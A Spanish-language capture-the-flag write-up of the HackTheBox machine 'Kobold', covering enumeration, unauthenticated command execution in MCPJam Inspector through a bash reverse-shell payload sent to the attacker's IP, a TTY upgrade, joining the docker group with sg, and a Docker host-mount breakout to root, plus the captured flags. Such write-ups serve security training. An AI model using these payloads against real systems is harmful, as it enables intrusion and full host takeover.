CorvusDDosKRom

HackTheBox: Kobold

Easy

Kobold es una máquina de nivel fácil en HackTheBox.

Linux
Hack The Box
RCE MCP Docker Docker Breakout SUID Virtual Host Enumeration GHSA-232v-j27c-5pp6

Kobold

Plataforma: HackTheBox

Dificultad: Fácil

Kobold

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- -sS -sCV --min-rate 5000 -Pn -n -oN kobold.txt 10.129.13.5
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 15:04 -0300
Nmap scan report for 10.129.13.5
Host is up (0.75s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
3552/tcp open  http     Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 151.97 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detecta versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN kobold.txt: Guarda los resultados en el archivo “kobold.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
  • 80/tcp - HTTP (nginx 1.24.0) → Redirige a https://kobold.htb/
  • 443/tcp - HTTPS (nginx 1.24.0) → Redirige a https://kobold.htb/
  • 3552/tcp - HTTP (Golang net/http server)

El certificado SSL incluye el dominio wildcard *.kobold.htb, lo que sugiere la presencia de subdominios.

Configuración del Host

echo "10.129.13.5 kobold.htb" | sudo tee -a /etc/hosts

Enumeración de Subdominios

Utilizamos ffuf para buscar subdominios mediante virtual hosting, filtrando solo respuestas con código 200:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -mc 200 -k
bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 2643ms]
mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 378ms]

Encontramos dos subdominios:

  • bin.kobold.htb — posible repositorio o almacén de binarios/archivos.
  • mcp.kobold.htb — probable servidor Model Context Protocol (MCP), relacionado con agentes de IA.

Los agregamos al /etc/hosts:

echo "10.129.13.5 bin.kobold.htb mcp.kobold.htb" | sudo tee -a /etc/hosts

Enumeración Web

Al acceder a https://kobold.htb encontramos Kobold Operations Suite, una plataforma de gestión de servicios internos.

Kobold Web

El footer revela un correo de contacto: admin@kobold.htb, lo que nos indica un posible usuario del sistema.

bin.kobold.htb

Al acceder a https://bin.kobold.htb encontramos una instancia de PrivateBin 2.0.2, un pastebin open source con cifrado AES de 256 bits en el cliente.

PrivateBin

mcp.kobold.htb

En https://mcp.kobold.htb encontramos MCPJam Inspector, una herramienta web para conectar y depurar servidores MCP (Model Context Protocol).

MCPJam Inspector

Puerto 3552 — Arcane

El puerto 3552 expone Arcane v1.13.0, una plataforma de gestión de contenedores con panel de login.

Arcane

Acceso Inicial

Método 1: RCE en MCPJam Inspector (GHSA-232v-j27c-5pp6)

El endpoint /api/mcp/connect de MCPJam Inspector ejecuta el campo command directamente en el servidor sin ninguna sanitización, lo que permite RCE sin autenticación.

Iniciamos un listener:

nc -lvnp 4444

Opción A — curl:

curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.52/4444 0>&1"],"env":{}},"serverId":"revshell"}'

Opción B — consola del navegador (desde https://mcp.kobold.htb):

fetch('/api/mcp/connect', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    serverConfig: {
      command: "bash",
      args: ["-c", "bash -i >& /dev/tcp/10.10.16.52/4444 0>&1"],
      env: {}
    },
    serverId: "revshell"
  })
})

Obtenemos una shell como el usuario ben:

Reverse Shell

Tratamiento de la TTY

Para obtener una shell completamente interactiva:

script /dev/null -c bash

Presionamos Ctrl+Z y desde nuestra máquina:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 45 columns 184

User Flag

User Flag

7c3df3bc7f089a5c3ccc3080891f2426

Escalada de Privilegios

Enumeración

Revisamos los binarios con SUID:

find / -perm -4000 -user root 2>/dev/null

Entre los resultados destacan newgrp y gpasswd, que permiten gestionar grupos. Revisando los procesos en ejecución:

ps aux

Encontramos que dockerd está corriendo y que el binario de Arcane corre como root. También identificamos que ben pertenece al grupo operator:

uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Verificamos el grupo docker en el sistema:

cat /etc/group | grep docker
docker:x:111:alice

Acceso al Grupo Docker

Dado que newgrp tiene el bit SUID activado y el grupo docker no tiene contraseña configurada en /etc/gshadow, cualquier usuario puede unirse a él. Usamos sg para evitar problemas con la TTY:

sg docker bash
id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Docker Breakout → Root

Con acceso al socket de Docker, montamos el filesystem del host dentro de un contenedor y hacemos chroot para obtener una shell como root:

docker run -v /:/mnt --rm -it mysql chroot /mnt sh
id
uid=0(root) gid=0(root) groups=0(root)

La imagen utilizada no importa — el vector es el montaje -v /:/mnt que expone el filesystem completo del host al contenedor.

Root Flag

Root Flag

12ceb75549155da07563496616dc1918

¡Root conseguido!

Hemos completado exitosamente la máquina Kobold de HackTheBox.